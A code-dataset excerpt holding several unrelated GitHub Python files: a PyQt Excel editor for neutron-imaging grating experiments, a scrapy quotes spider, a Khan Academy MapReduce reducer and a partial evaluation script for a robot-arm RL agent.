= int(right_of_comma)\n return f\"{int_left_of_comma:03d}_{int_right_of_comma:03d}\"\n else:\n return f\"{int(str_angle_value):03d}\"\n\n output_folder = os.path.abspath(self.parent.output_folder)\n first_last_run_of_each_group_dictionary = self.parent.first_last_run_of_each_group_dictionary\n dict_group_outer_value = self.parent.dict_group_outer_value\n excel_config = self.get_excel_config()\n\n df_dict = {}\n if data_type_to_populate_with_notebook_data == 'sample':\n\n for _row_index, _key in enumerate(first_last_run_of_each_group_dictionary.keys()):\n\n if _row_index == 0:\n df_dict[\"first_data_file\"] = [os.path.join(output_folder, first_last_run_of_each_group_dictionary[\n _key]['first'])]\n df_dict[\"last_data_file\"] = [os.path.join(output_folder, first_last_run_of_each_group_dictionary[\n _key]['last'])]\n df_dict[\"sample_information\"] = [dict_group_outer_value[_key]]\n else:\n df_dict[\"first_data_file\"].append(os.path.join(output_folder,\n first_last_run_of_each_group_dictionary[_key][\n 'first']))\n df_dict[\"last_data_file\"].append(os.path.join(output_folder,\n first_last_run_of_each_group_dictionary[_key][\n 'last']))\n df_dict[\"sample_information\"].append(dict_group_outer_value[_key])\n\n nbr_row = len(first_last_run_of_each_group_dictionary.keys())\n df_dict[\"first_ob_file\"] = [\"None\" for _ in np.arange(nbr_row)]\n df_dict[\"last_ob_file\"] = [\"None\" for _ in np.arange(nbr_row)]\n\n else: # ob\n\n for _row_index, _key in enumerate(first_last_run_of_each_group_dictionary.keys()):\n\n nbr_row = len(first_last_run_of_each_group_dictionary.keys())\n df_dict[\"first_sample_file\"] = [\"None\" for _ in np.arange(nbr_row)]\n df_dict[\"last_sample_file\"] = [\"None\" for _ in np.arange(nbr_row)]\n\n if _row_index == 0:\n df_dict[\"first_ob_file\"] = [os.path.join(output_folder, first_last_run_of_each_group_dictionary[\n _key]['first'])]\n df_dict[\"last_ob_file\"] = [os.path.join(output_folder, first_last_run_of_each_group_dictionary[\n _key]['last'])]\n else:\n df_dict[\"first_ob_file\"].append(os.path.join(output_folder, first_last_run_of_each_group_dictionary[\n _key]['first']))\n df_dict[\"last_ob_file\"].append(os.path.join(output_folder, first_last_run_of_each_group_dictionary[\n _key]['last']))\n\n # default file_id\n dict_group_outer_value = self.parent.dict_group_outer_value\n\n for _row_index, _key in enumerate(dict_group_outer_value):\n\n angle_value_formatted = formatting_angle_value(str_angle_value=dict_group_outer_value[_key])\n _file_id = f\"sample_{angle_value_formatted}\"\n if _row_index == 0:\n df_dict['file_id'] = [_file_id]\n else:\n df_dict['file_id'].append(_file_id)\n\n df_dict[\"first_dc_file\"] = [\"None\" for _ in np.arange(nbr_row)]\n df_dict[\"last_dc_file\"] = [\"None\" for _ in np.arange(nbr_row)]\n\n list_key = list(excel_config.keys())\n list_key.remove(\"first_data_file\")\n list_key.remove(\"last_data_file\")\n list_key.remove(\"first_ob_file\")\n list_key.remove(\"last_ob_file\")\n list_key.remove(\"file_id\")\n list_key.remove(\"sample_information\")\n for _key in list_key:\n df_dict[_key] = [excel_config[_key] for _ in np.arange(nbr_row)]\n\n # reorder the dict\n df_dict_reorder = OrderedDict()\n for _key in list(excel_config.keys()):\n df_dict_reorder[_key] = df_dict[_key]\n\n df = pd.DataFrame(data=df_dict_reorder)\n return df\n\n def new_excel(self):\n self.parent.excel_info_widget.value = f\"Working with new excel file!\"\n data_type_to_populate_with_notebook_data = self.parent.sample_or_ob_radio_buttons.value\n\n pandas_object = self._create_pandas_object(data_type_to_populate_with_notebook_data=data_type_to_populate_with_notebook_data)\n\n o_interface = Interface(grand_parent=self.parent,\n pandas_object=pandas_object,\n data_type_to_populate_with_notebook_data=data_type_to_populate_with_notebook_data,\n first_last_run_of_each_group_dictionary=self.parent.first_last_run_of_each_group_dictionary)\n o_interface.show()\n\n\nclass Interface(QMainWindow):\n pandas_object = None # pandas excel object\n excel_config = None\n\n def __init__(self, parent=None, grand_parent=None, excel_file=None,\n first_last_run_of_each_group_dictionary=None,\n data_type_to_populate_with_notebook_data='sample',\n pandas_object=None):\n\n display(format_html_message(pre_message=\"Check UI that popped up \\\n (maybe hidden behind this browser!)\",\n spacer=\"\"))\n self.grand_parent = grand_parent\n self.data_type_to_populate_with_notebook_data = data_type_to_populate_with_notebook_data\n self.output_folder = self.grand_parent.output_folder\n\n self.pandas_object = pandas_object\n super(Interface, self).__init__(parent)\n ui_full_path = os.path.join(os.path.dirname(os.path.dirname(os.path.dirname(__file__))),\n os.path.join('ui',\n 'ui_grating_excel_editor.ui'))\n self.ui = load_ui(ui_full_path, baseinstance=self)\n self.setWindowTitle(\"Excel Editor\")\n self.excel_file = excel_file\n\n # dictionary giving first and last run for each group (row)\n # add output folder to dictionary\n\n self.init_statusbar_message()\n\n self.load_config()\n self.set_columns_width()\n\n self.fill_table()\n self.check_table_content_pushed()\n\n def widget_state_changed(self, new_value, row=0, column=0):\n self.repeat_widget_changed_or_not_dialog(row_changed=row,\n column_changed=column)\n\n def repeat_widget_changed_or_not_dialog(self, row_changed=0, column_changed=0):\n o_dialog = RepeatWidgetChangeDialog(parent=self, input_row=row_changed, input_column=column_changed)\n o_dialog.show()\n\n @staticmethod\n def add_output_folder_to_dictionary(first_last_run_of_each_group_dictionary=None, output_folder=None):\n for _key in first_last_run_of_each_group_dictionary.keys():\n first_last_run_of_each_group_dictionary[_key]['first'] = os.path.join(output_folder,\n first_last_run_of_each_group_dictionary[_key]['first'])\n first_last_run_of_each_group_dictionary[_key]['last'] = os.path.join(output_folder,\n first_last_run_of_each_group_dictionary[\n _key]['last'])\n return first_last_run_of_each_group_dictionary\n\n def check_table_content_pushed(self):\n \"\"\"this is where we will check to make sure the format of all the cells is right and they are\n no missing fields\"\"\"\n o_table = TableHandler(table_ui=self.ui.tableWidget)\n nbr_rows = o_table.row_count()\n\n color_error = QtGui.QColor(255, 0, 0)\n color_ok = QtGui.QColor(255, 255, 255)\n\n self.at_least_one_error_found = False\n\n def is_string_a_float(string):\n try:\n float(string)\n return True\n except ValueError:\n return False\n\n def is_string_an_integer(string):\n try:\n int(string)\n return True\n except ValueError:\n return False\n\n def set_color_for_float_field(string, row, column):\n if is_string_a_float(string):\n color = color_ok\n else:\n color = color_error\n self.at_least_one_error_found = True\n o_table.set_background_color(row, column, color)\n\n def set_color_for_int_field(string, row, column):\n if is_string_an_integer(string):\n color = color_ok\n else:\n color = color_error\n self.at_least_one_error_found = True\n o_table.set_background_color(row, column, color)\n\n def is_string_undefined_or_empty(string):\n if string.lower() in [\"none\", \"nan\", \"\"]:\n return True\n return False\n\n def set_color_for_that_mandatory_field(string, row, column):\n if is_string_undefined_or_empty(string):\n color = color_error\n self.at_least_one_error_found = True\n else:\n color = color_ok\n o_table.set_background_color(row, column, color)\n\n def set_color_for_that_path_that_must_exist(string, row, column):\n if os.path.exists(string):\n color = color_ok\n else:\n color = color_error\n self.at_least_one_error_found = True\n o_table.set_background_color(row, column, color)\n\n def is_roi_correct_format(roi):\n \"\"\"check if roi has the format [##,##,##,##] where ## are integers\"\"\"\n roi = roi.strip()\n result = re.search(\"\\[\\s*(\\d*)\\s*,\\s*(\\d*)\\s*,\\s*(\\d*)\\s*,\\s*(\\d*)\\s*\\]\", roi)\n try:\n if len(result.groups()) != 4:\n return False\n try:\n int(result.groups()[0])\n int(result.groups()[1])\n int(result.groups()[2])\n int(result.groups()[3])\n except ValueError:\n return False\n except AttributeError:\n return False\n\n return True\n\n def set_color_for_roi(roi, row, column):\n if is_roi_correct_format(roi):\n color = color_ok\n else:\n color = color_error\n self.at_least_one_error_found = True\n o_table.set_background_color(row, column, color)\n\n for _row in np.arange(nbr_rows):\n o_table.define_row_for_getter(row=_row)\n\n first_data_file = o_table.get_first_data_file()\n set_color_for_that_path_that_must_exist(first_data_file, _row, 0)\n\n last_data_file = o_table.get_last_data_file()\n set_color_for_that_path_that_must_exist(last_data_file, _row, 1)\n\n first_ob_file = o_table.get_first_ob_file()\n set_color_for_that_path_that_must_exist(first_ob_file, _row, 2)\n\n last_ob_file = o_table.get_last_ob_file()\n set_color_for_that_path_that_must_exist(last_ob_file, _row, 3)\n\n first_dc_file = o_table.get_first_dc_file()\n set_color_for_that_path_that_must_exist(first_dc_file, _row, 4)\n\n last_dc_file = o_table.get_last_dc_file()\n set_color_for_that_path_that_must_exist(last_dc_file, _row, 5)\n\n rotation = o_table.get_rotation()\n set_color_for_int_field(rotation, _row, 8)\n\n roi = o_table.get_roi()\n set_color_for_roi(roi, _row, 10)\n\n data_threshold_3x3 = o_table.get_data_threshold_3x3()\n set_color_for_int_field(data_threshold_3x3, _row, 12)\n\n data_threshold_5x5 = o_table.get_data_threshold_5x5()\n set_color_for_int_field(data_threshold_5x5, _row, 13)\n\n data_threshold_7x7 = o_table.get_data_threshold_7x7()\n set_color_for_int_field(data_threshold_7x7, _row, 14)\n\n data_sigma_log = o_table.get_data_sigma_log()\n set_color_for_float_field(data_sigma_log, _row, 15)\n\n dc_threshold_3x3 = o_table.get_dc_threshold_3x3()\n set_color_for_int_field(dc_threshold_3x3, _row, 17)\n\n dc_threshold_5x5 = o_table.get_dc_threshold_5x5()\n set_color_for_int_field(dc_threshold_5x5, _row, 18)\n\n dc_threshold_7x7 = o_table.get_dc_threshold_7x7()\n set_color_for_int_field(dc_threshold_7x7, _row, 19)\n\n dc_sigma_log = o_table.get_dc_log()\n set_color_for_float_field(dc_sigma_log, _row, 20)\n\n dc_outlier_value = o_table.get_dc_outlier_value()\n set_color_for_float_field(dc_outlier_value, _row, 22)\n\n result_directory = o_table.get_result_directory()\n set_color_for_that_path_that_must_exist(result_directory, _row, 23)\n\n file_id = o_table.get_file_id()\n set_color_for_that_mandatory_field(file_id, _row, 24)\n\n if self.at_least_one_error_found:\n show_status_message(parent=self,\n message=f\"At least one issue found in table! Angel will not be able to execute this \"\n f\"excel!\",\n status=StatusMessageStatus.warning,\n duration_s=15)\n\n else:\n show_status_message(parent=self,\n message=f\"File is ready to be loaded into Angel!\",\n status=StatusMessageStatus.ready,\n duration_s=15)\n\n def load_config(self):\n config_file = os.path.join(os.path.dirname(__file__), 'excel_config.json')\n with open(config_file) as json_file:\n self.excel_config = json.load(json_file)\n\n def set_columns_width(self):\n columns_width = [int(value) for value in np.ones(28) * 100]\n\n list_very_wide_columns = [0, 1, 2, 3, 4, 5, 23]\n for index in list_very_wide_columns:\n columns_width[index] = 500\n\n list_wide_columns = [10, 24]\n for index in list_wide_columns:\n columns_width[index] = 150\n\n self.columns_width = columns_width\n\n def init_statusbar_message(self):\n if self.excel_file:\n show_status_message(parent=self,\n message=f\"Loaded excel file {self.excel_file}!\",\n status=StatusMessageStatus.ready,\n duration_s=10)\n else:\n show_status_message(parent=self,\n message=\"Created a new Excel file!\",\n status=StatusMessageStatus.ready,\n duration_s=10)\n\n def fill_table(self):\n pandas_object = self.pandas_object\n if pandas_object is None:\n return\n\n list_columns = pandas_object.columns\n o_table = TableHandler(table_ui=self.ui.tableWidget)\n\n nbr_columns = len(list_columns)\n for _col_index in np.arange(nbr_columns):\n o_table.insert_column(_col_index)\n o_table.set_column_names(list_columns)\n self.ui.tableWidget.blockSignals(True)\n\n # pandas_entry_for_first_row = pandas_object.iloc[0]\n\n nbr_rows = len(pandas_object)\n for _row in np.arange(nbr_rows):\n o_table = TableHandler(table_ui=self.ui.tableWidget)\n o_table.insert_empty_row(_row)\n\n pandas_entry_for_this_row = pandas_object.iloc[_row]\n o_table.define_row_for_setter(_row)\n\n o_table.set_first_data_file(pandas_entry_for_this_row[0])\n o_table.set_last_data_file(pandas_entry_for_this_row[1])\n o_table.set_first_ob_file(pandas_entry_for_this_row[2])\n o_table.set_last_ob_file(pandas_entry_for_this_row[3])\n o_table.set_first_dc_file(pandas_entry_for_this_row[4])\n o_table.set_last_dc_file(pandas_entry_for_this_row[5])\n o_table.set_period(pandas_entry_for_this_row[6], method=self.widget_state_changed)\n o_table.set_images_per_step(pandas_entry_for_this_row[7], method=self.widget_state_changed)\n o_table.set_rotation(pandas_entry_for_this_row[8])\n o_table.set_fit_procedure(pandas_entry_for_this_row[9], method=self.widget_state_changed)\n o_table.set_roi(pandas_entry_for_this_row[10])\n o_table.set_gamma_filter_data_ob(pandas_entry_for_this_row[11], method=self.widget_state_changed)\n o_table.set_data_threshold_3x3(pandas_entry_for_this_row[12])\n o_table.set_data_threshold_5x5(pandas_entry_for_this_row[13])\n o_table.set_data_threshold_7x7(pandas_entry_for_this_row[14])\n o_table.set_data_sigma_log(pandas_entry_for_this_row[15])\n o_table.set_gamma_filter_dc(pandas_entry_for_this_row[16], method=self.widget_state_changed)\n o_table.set_dc_threshold_3x3(pandas_entry_for_this_row[17])\n o_table.set_dc_threshold_5x5(pandas_entry_for_this_row[18])\n o_table.set_dc_threshold_7x7(pandas_entry_for_this_row[19])\n o_table.set_dc_log(pandas_entry_for_this_row[20])\n o_table.set_dc_outlier_removal(pandas_entry_for_this_row[21], method=self.widget_state_changed)\n o_table.set_dc_outlier_value(pandas_entry_for_this_row[22])\n o_table.set_result_directory(pandas_entry_for_this_row[23])\n o_table.set_file_id(pandas_entry_for_this_row[24])\n o_table.set_sample_information(pandas_entry_for_this_row[25])\n\n del o_table\n\n row_height = [int(value) for value in np.ones(nbr_rows) * ROW_HEIGHT]\n\n o_table = TableHandler(table_ui=self.ui.tableWidget)\n o_table.set_row_height(row_height=row_height)\n o_table.set_column_width(column_width=self.columns_width)\n self.ui.tableWidget.blockSignals(False)\n\n def cancel_button_pushed(self):\n self.close()\n\n def save_as_button_pushed(self):\n working_dir = self.grand_parent.working_dir\n folder_selected = self.grand_parent.folder_selected\n base_folder_name = os.path.basename(folder_selected)\n default_file_name = os.path.join(working_dir, base_folder_name + \"_angel_excel.xls\")\n file_and_extension_name = QFileDialog.getSaveFileName(self,\n \"Select or define file name\",\n default_file_name,\n \"Excel (*.xls)\")\n\n file_name = file_and_extension_name[0]\n if file_name:\n table_dict = self.collect_table_dict()\n\n df = pd.DataFrame(table_dict)\n writer = pd.ExcelWriter(file_name,\n engine='xlsxwriter')\n df.to_excel(writer, sheet_name=\"Tabelle1\",\n index=False)\n writer.save()\n\n def collect_table_dict(self):\n o_table = TableHandler(table_ui=self.ui.tableWidget)\n nbr_rows = o_table.row_count()\n\n first_data_file = []\n last_data_file = []\n first_ob_file = []\n last_ob_file = []\n first_dc_file = []\n last_dc_file = []\n period = []\n images_per_step = []\n rotation = []\n fit_procedure = []\n roi = []\n gamma_filter_data_ob = []\n data_threshold_3x3 = []\n data_threshold_5x5 = []\n data_threshold_7x7 = []\n data_sigma_log = []\n gamma_filter_dc = []\n dc_threshold_3x3 = []\n dc_threshold_5x5 = []\n dc_threshold_7x7 = []\n dc_sigma_log = []\n dc_outlier_removal = []\n dc_outlier_value = []\n result_directory = []\n file_id = []\n sample_information = []\n used_environment = []\n osc_pixel = []\n\n for _row in np.arange(nbr_rows):\n\n o_table.define_row_for_getter(row=_row)\n\n first_data_file.append(o_table.get_first_data_file())\n last_data_file.append(o_table.get_last_data_file())\n first_ob_file.append(o_table.get_first_ob_file())\n last_ob_file.append(o_table.get_last_ob_file())\n first_dc_file.append(o_table.get_first_dc_file())\n last_dc_file.append(o_table.get_last_dc_file())\n period.append(o_table.get_period())\n images_per_step.append(o_table.get_images_per_step())\n rotation.append(o_table.get_rotation())\n fit_procedure.append(o_table.get_fit_procedure())\n roi.append(o_table.get_roi())\n gamma_filter_data_ob.append(o_table.get_gamma_filter_data_ob())\n data_threshold_3x3.append(o_table.get_data_threshold_3x3())\n data_threshold_5x5.append(o_table.get_data_threshold_5x5())\n data_threshold_7x7.append(o_table.get_data_threshold_7x7())\n data_sigma_log.append(o_table.get_data_sigma_log())\n gamma_filter_dc.append(o_table.get_gamma_filter_dc())\n dc_threshold_3x3.append(o_table.get_dc_threshold_3x3())\n dc_threshold_5x5.append(o_table.get_dc_threshold_5x5())\n dc_threshold_7x7.append(o_table.get_dc_threshold_7x7())\n dc_sigma_log.append(o_table.get_dc_log())\n dc_outlier_removal.append(o_table.get_dc_outlier_removal())\n dc_outlier_value.append(o_table.get_dc_outlier_value())\n result_directory.append(o_table.get_result_directory())\n file_id.append(o_table.get_file_id())\n sample_information.append(o_table.get_sample_information())\n used_environment.append(\"\")\n osc_pixel.append(\"\")\n\n table_dict = OrderedDict({'first_data_file' : first_data_file,\n 'last_data_file' : last_data_file,\n 'first_ob_file' : first_ob_file,\n 'last_ob_file' : last_ob_file,\n 'first_dc_file' : first_dc_file,\n 'last_dc_file' : last_dc_file,\n 'period' : period,\n 'images_per_step' : images_per_step,\n 'rotation' : rotation,\n 'fit_procedure' : fit_procedure,\n 'roi' : roi,\n 'gamma_filter_data/ob': gamma_filter_data_ob,\n 'data_threshold_3x3' : data_threshold_3x3,\n 'data_threshold_5x5' : data_threshold_5x5,\n 'data_threshold_7x7' : data_threshold_7x7,\n 'data_sigma_log' : data_sigma_log,\n 'gamma_filter_dc' : gamma_filter_dc,\n 'dc_threshold_3x3' : dc_threshold_3x3,\n 'dc_threshold_5x5' : dc_threshold_5x5,\n 'dc_threshold_7x7' : dc_threshold_7x7,\n 'dc_sigma_log' : dc_sigma_log,\n 'dc_outlier_removal' : dc_outlier_removal,\n 'dc_outlier_value' : dc_outlier_value,\n 'result_directory' : result_directory,\n 'file_id' : file_id,\n 'sample_information' : sample_information,\n 'used_environment' : used_environment,\n 'osc_pixel' : osc_pixel,\n })\n\n return table_dict\n\n def right_click_table_widget(self, position):\n menu = QMenu(self)\n\n o_table = TableHandler(table_ui=self.ui.tableWidget)\n column_selected = o_table.get_column_selected()\n row_selected = o_table.get_row_selected()\n\n show_browse_for_file = False\n show_browse_for_folder = False\n show_browse_for_all_row = False\n\n show_browse_for_file_in_all_column = False\n\n if column_selected in [0, 1, 2, 3]:\n show_browse_for_file = True\n elif column_selected == 23:\n show_browse_for_folder = True\n show_browse_for_all_row = True\n elif column_selected in [4, 5]:\n show_browse_for_file = True\n show_browse_for_all_row = True\n\n show_copy_content_to_rest_of_column = False\n if column_selected in [4, 5, 10, 12, 13, 14, 15, 17, 18,19, 20, 22, 23]:\n show_copy_content_to_rest_of_column = True\n\n remove = menu.addAction(\"Remove selected row\")\n duplicate = menu.addAction(\"Duplicate selected row and move it to bottom\")\n\n if show_browse_for_file and (not show_browse_for_all_row):\n menu.addSeparator()\n browse_this_row = menu.addAction(\"Browse for file ...\")\n elif show_browse_for_folder and show_browse_for_all_row:\n menu.addSeparator()\n browse_this_row = menu.addAction(\"Browse folder for this row ...\")\n browse_all_row = menu.addAction(\"Browse folder for all row ...\")\n elif show_browse_for_file and show_browse_for_all_row:\n menu.addSeparator()\n browse_this_row = menu.addAction(\"Browse file for this row ...\")\n browse_all_row = menu.addAction(\"Browse file for all row ...\")\n else:\n browse_this_row = None\n browse_all_row = None\n\n if show_copy_content_to_rest_of_column:\n menu.addSeparator()\n copy_content_to_rest_of_column = menu.addAction(\"Sync column with this value\")\n else:\n copy_content_to_rest_of_column = None\n\n action = menu.exec_(QtGui.QCursor.pos())\n\n # show_browse_for_file = show_browse_for_file_in_all_column\n\n if action == remove:\n self.remove_selected_row(row=row_selected)\n\n elif action == duplicate:\n self.duplicate_row_and_move_it_to_bottom(row=row_selected)\n self.check_table_content_pushed()\n\n elif action == browse_this_row:\n self.browse(show_browse_for_folder=show_browse_for_folder,\n show_browse_for_file=show_browse_for_file,\n row_selected=[row_selected],\n column_selected=column_selected)\n\n elif action == browse_all_row:\n self.browse(show_browse_for_folder=show_browse_for_folder,\n show_browse_for_file=show_browse_for_file,\n row_selected=np.arange(o_table.row_count()),\n column_selected=column_selected)\n\n elif action == copy_content_to_rest_of_column:\n self.copy_content_to_rest_of_column(current_row=row_selected,\n current_column=column_selected)\n self.check_table_content_pushed()\n\n def copy_content_to_rest_of_column(self, current_row=0, current_column=0):\n o_table = TableHandler(table_ui=self.ui.tableWidget)\n value_to_copy = o_table.get_item_str_from_cell(row=current_row, column=current_column)\n nbr_row = o_table.row_count()\n for _row in np.arange(nbr_row):\n o_table.set_item_with_str(row=_row, column=current_column, cell_str=value_to_copy)\n\n def browse(self, show_browse_for_folder=False,\n show_browse_for_file=True,\n row_selected=[0], column_selected=0):\n\n folder_selected = self.grand_parent.folder_selected\n\n if show_browse_for_file:\n file_and_extension_name = QFileDialog.getOpenFileName(self,\n \"Select file ...\",\n folder_selected)\n\n file_selected = file_and_extension_name[0]\n if file_selected:\n o_table = TableHandler(table_ui=self.ui.tableWidget)\n for _row in row_selected:\n o_table.set_item_with_str(row=_row,\n column=column_selected,\n cell_str=file_selected)\n\n elif show_browse_for_folder:\n folder_name = os.path.dirname(folder_selected)\n folder = QFileDialog.getExistingDirectory(self,\n \"Select output folder ...\",\n folder_name)\n\n if folder:\n o_table = TableHandler(table_ui=self.ui.tableWidget)\n for _row in row_selected:\n o_table.set_item_with_str(row=_row,\n column=column_selected,\n cell_str=folder)\n\n self.check_table_content_pushed()\n\n def remove_selected_row(self, row=0):\n o_table = TableHandler(table_ui=self.ui.tableWidget)\n o_table.remove_row(row)\n\n def duplicate_row_and_move_it_to_bottom(self, row=0):\n o_table = TableHandler(table_ui=self.ui.tableWidget)\n nbr_row = o_table.row_count()\n o_table.insert_empty_row(nbr_row)\n\n o_table.define_row_for_getter(row=row)\n o_table.define_row_for_setter(row=nbr_row)\n\n o_table.set_first_data_file(o_table.get_first_data_file())\n o_table.set_last_data_file(o_table.get_last_data_file())\n o_table.set_first_ob_file(o_table.get_first_ob_file())\n o_table.set_last_ob_file(o_table.get_last_ob_file())\n o_table.set_first_dc_file(o_table.get_first_dc_file())\n o_table.set_last_dc_file(o_table.get_last_dc_file())\n o_table.set_period(o_table.get_period())\n o_table.set_images_per_step(o_table.get_images_per_step())\n o_table.set_rotation(o_table.get_rotation())\n o_table.set_fit_procedure(o_table.get_fit_procedure())\n o_table.set_roi(o_table.get_roi())\n o_table.set_gamma_filter_data_ob(o_table.get_gamma_filter_data_ob())\n o_table.set_data_threshold_3x3(o_table.get_data_threshold_3x3())\n o_table.set_data_threshold_5x5(o_table.get_data_threshold_5x5())\n o_table.set_data_threshold_7x7(o_table.get_data_threshold_7x7())\n o_table.set_data_sigma_log(o_table.get_data_sigma_log())\n o_table.set_gamma_filter_dc(o_table.get_gamma_filter_dc())\n o_table.set_dc_threshold_3x3(o_table.get_dc_threshold_3x3())\n o_table.set_dc_threshold_5x5(o_table.get_dc_threshold_5x5())\n o_table.set_dc_threshold_7x7(o_table.get_dc_threshold_7x7())\n o_table.set_dc_log(o_table.get_dc_log())\n o_table.set_dc_outlier_removal(o_table.get_dc_outlier_removal())\n o_table.set_dc_outlier_value(o_table.get_dc_outlier_value())\n o_table.set_result_directory(o_table.get_result_directory())\n o_table.set_file_id(o_table.get_file_id())\n o_table.set_sample_information(o_table.get_sample_information())\n","repo_name":"neutronimaging/python_notebooks","sub_path":"notebooks/__code/group_images_by_cycle_for_grating_experiment/excel_handler.py","file_name":"excel_handler.py","file_ext":"py","file_size_in_byte":38114,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"70"} +{"seq_id":"42234927919","text":"import scrapy\nfrom ..items import QuotetutorialItem\n\nclass QuotesSpider(scrapy.Spider):\n name = \"quotes\"\n start_urls = ['http://quotes.toscrape.com']\n\n def parse(self, response):\n quote_items = QuotetutorialItem()\n\n all_quotes = response.css('div.quote')\n for quote in all_quotes:\n title = quote.css('span.text::text').extract()\n author = quote.css('.author::text').extract()\n tags = quote.css('.tag::text').extract()\n quote_items['title'] = title\n quote_items['author'] = author\n quote_items['tags'] = tags\n yield quote_items","repo_name":"ravimaharjan/scrape-quotes","sub_path":"quotetutorial/spiders/quotes_spider.py","file_name":"quotes_spider.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"28664181886","text":"#!/usr/bin/env python\n\n\"\"\"The reduce step of our first MapReduce, allowing us to find how many users\ncompleted both video i and video j for any i and j,\nand to deterimine if that normally happens in one specific order.\n\nTakes from stdin (or other specified input file) input of format:\n(Each line is tab-delimited and newline terminated:\n for ease of reading here I use tuple notation instead.\n Lines are in reality formated like \"user_i\\tvideo_j\\ttimestamp_{i,j}\\n\")\n(user_1, video_1, timestamp_{1,1})\n(user_1, video_2, timestamp_{1,2})\n...\n(user_1, video_m, timestamp_{1,m})\n...\n(user_n, video_m, timestamp_{n,m})\n\nThe line '(user_i, video_j, timestamp_{i,j})' is present\niff user_i completed video_j at UNIX time timestamp_{i,j}\n\nOutputs: For every pair of videos watched by a user,\n(video_i, video_j, indicator_i, indicator_j)\nwhere\n indicator_i is 1 iff the user watched video_i before video_j,\nand indicator_j is 1 iff the user watched video_j before video_i\n\nFor more information on this project and a higher-level overview of what's\nhappening, see:\nhttps://sites.google.com/a/khanacademy.org/forge/technical/data_n/collaborative-filtering-with-emr\n\n\"\"\"\n\n\nimport itertools\nimport sys\n\n\n_out = sys.stdout # For testing purposes\n_in = sys.stdin # For testing purposes\n\n\ndef output_tab_delimited(s1, s2, i1, i2):\n \"\"\"Write given strs and ints to outfile specified above (tab-delimited), 2x\n (the second time, we change order, as necessary for output to be correct.)\n\n \"\"\"\n _out.write(\"%s\\t%s\\t%d\\t%d\\n\" % (s1, s2, i1, i2))\n _out.write(\"%s\\t%s\\t%d\\t%d\\n\" % (s2, s1, i2, i1))\n\n\ndef emit_reducer_output(videos):\n \"\"\"Given all videos a user watched (list of tuples of (video, timestamp)),\n output the 4-tuples for that user, as defined above.\n\n \"\"\"\n for (vid_i, vid_j) in itertools.combinations(videos, 2):\n if float(vid_i[1]) < float(vid_j[1]):\n i_before_j = 1\n else:\n i_before_j = 0\n output_tab_delimited(vid_i[0], vid_j[0], i_before_j, 1 - i_before_j)\n\n\ndef main():\n \"\"\"Get the input, aggregate all videos and timestamps for each user,\n and pass that to the function that emits it in correct format.\n\n \"\"\"\n # Initialize so we can use it later\n last_user = None\n videos = []\n\n for line in _in:\n if not line:\n continue\n\n line = line.rstrip().split(\"\\t\")\n if len(line) != 3:\n sys.stderr.write(\"Malformed input: '%s'!\\n\" % \"\\t\".join(line))\n return\n\n (user, video, timestamp) = line\n\n if last_user == user:\n videos.append((video, timestamp))\n else:\n emit_reducer_output(videos) # If len(videos) <= 1, this is no-op\n videos = [(video, timestamp)]\n last_user = user\n\n emit_reducer_output(videos) # Make sure we emit for the last user\n\nif __name__ == '__main__':\n main()\n","repo_name":"Khan/analytics","sub_path":"map_reduce/py/video_recommendation_reducer.py","file_name":"video_recommendation_reducer.py","file_ext":"py","file_size_in_byte":2891,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"70"} +{"seq_id":"72772685025","text":"###############################################################################\n# evaluation.py\n#\n# A script for evaluating the model produced by the RL algorithm\n#\n# Created: 11/30/2021\n# - Andrew Albright\n# - andrew.albright1@louisiana.edu\n# Modified:\n#\n###############################################################################\n\nimport gym\nimport numpy as np\nimport pandas as pd \nimport os\nimport sys\nfrom pathlib import Path\nimport shutil\nimport matplotlib.pyplot as plt\nimport datetime\n\n\nfrom stable_baselines3 import PPO, TD3\nfrom stable_baselines3.common.monitor import Monitor\nfrom functions import getFiles, getFileNames, readCSVFiles, parseDataFrame, queueDirectoryPath, combineDataInFolder, dfAverageStd, guiYesNo\n\nfrom gym_three_link_robot.gym_three_link_robot.envs import ThreeLinkRobotArmEnv\n\nCAPTURE_DATA = True\nPLOT_DATA = True\nSAVE_FIG = True\nENV_ID = \"three_link_robot_arm-v0\"\nEP_STEPS = 300\nRANDOM_TARGET = False\n\nPARAMS = [9.86006961, 10.17448818, 9.96544221, 2.31096247, 1.8923805 ,\n 1.79665703]\n\ndef evaluate_agents(agents, models_path, save_path, targets=[(3, 3)]):\n # Loop through all the agents and test them\n \n for agent in agents:\n power_used = 0.0\n targets_reached = 0\n targets = targets = [(4, 4), (3, 3)]\n\n for target in targets:\n # Create and wrap the environment\n env = gym.make(ENV_ID)\n env.capture_data = CAPTURE_DATA\n env.data_location = save_path\n env.specified_pos = target\n env.ep_steps = 65\n\n # load the agent from the models path\n model_id = agent\n\n model = TD3.load(path=models_path / model_id)\n\n # Evaluate the agent\n done, state = False, None\n obs = env.reset()\n data = None\n\n\n modify_env_design(env, PARAMS)\n\n while not done:\n action, state = model.predict(obs, state=state, deterministic=True)\n obs, reward, done, info = env.step(action)\n if info[\"target_reached\"]:\n targets_reached += 1\n env.render()\n # Print the power used\n # print(f\"Episode Power Used: {env.env.robot.power_used}\")\n power_used += env.robot.power_used\n env.close()\n\n print(f\"Total Power Used: {power_used}\")\n print(f\"Targets Reached: {targets_reached}\")\n\n # Combine the data\n data = combineDataInFolder(file_type=\"csv\", path=save_path)\n # Save the data\n path = save_path / \"Combined_Data\"\n if not os.path.exists(path):\n os.makedirs(path)\n save_name = 'Random_Action' # 1 and 2 parts of the file names\n data.to_csv(path / f\"{save_name}_Combined.csv\")\n \n if PLOT_DATA:\n plot_combined_data(data, save_path=save_path)\n\n return power_used\n\ndef plot_combined_data(data, save_path):\n unique_headers = ['Time', 'Reward', 'XPos', 'YPos', 'Joint1Pos', 'Joint1Vel', 'Joint2Pos', 'Joint2Vel', 'Joint3Pos', 'Joint3Vel']\n data = parseDataFrame(data, unique_headers)\n\n for header in unique_headers:\n X_MEAN, X_STD = dfAverageStd(data[\"Time\"])\n Y_MEAN, Y_STD = dfAverageStd(data[header])\n\n # Set the plot size - 3x2 aspect ratio is best\n fig = plt.figure(figsize=(9,6))\n ax = plt.gca()\n\n # Define the X and Y axis labels\n plt.xlabel(r'Time (s)', fontsize=22, weight='bold', labelpad=5)\n plt.ylabel(header, fontsize=22, weight='bold', labelpad=10)\n\n plt.plot(X_MEAN, 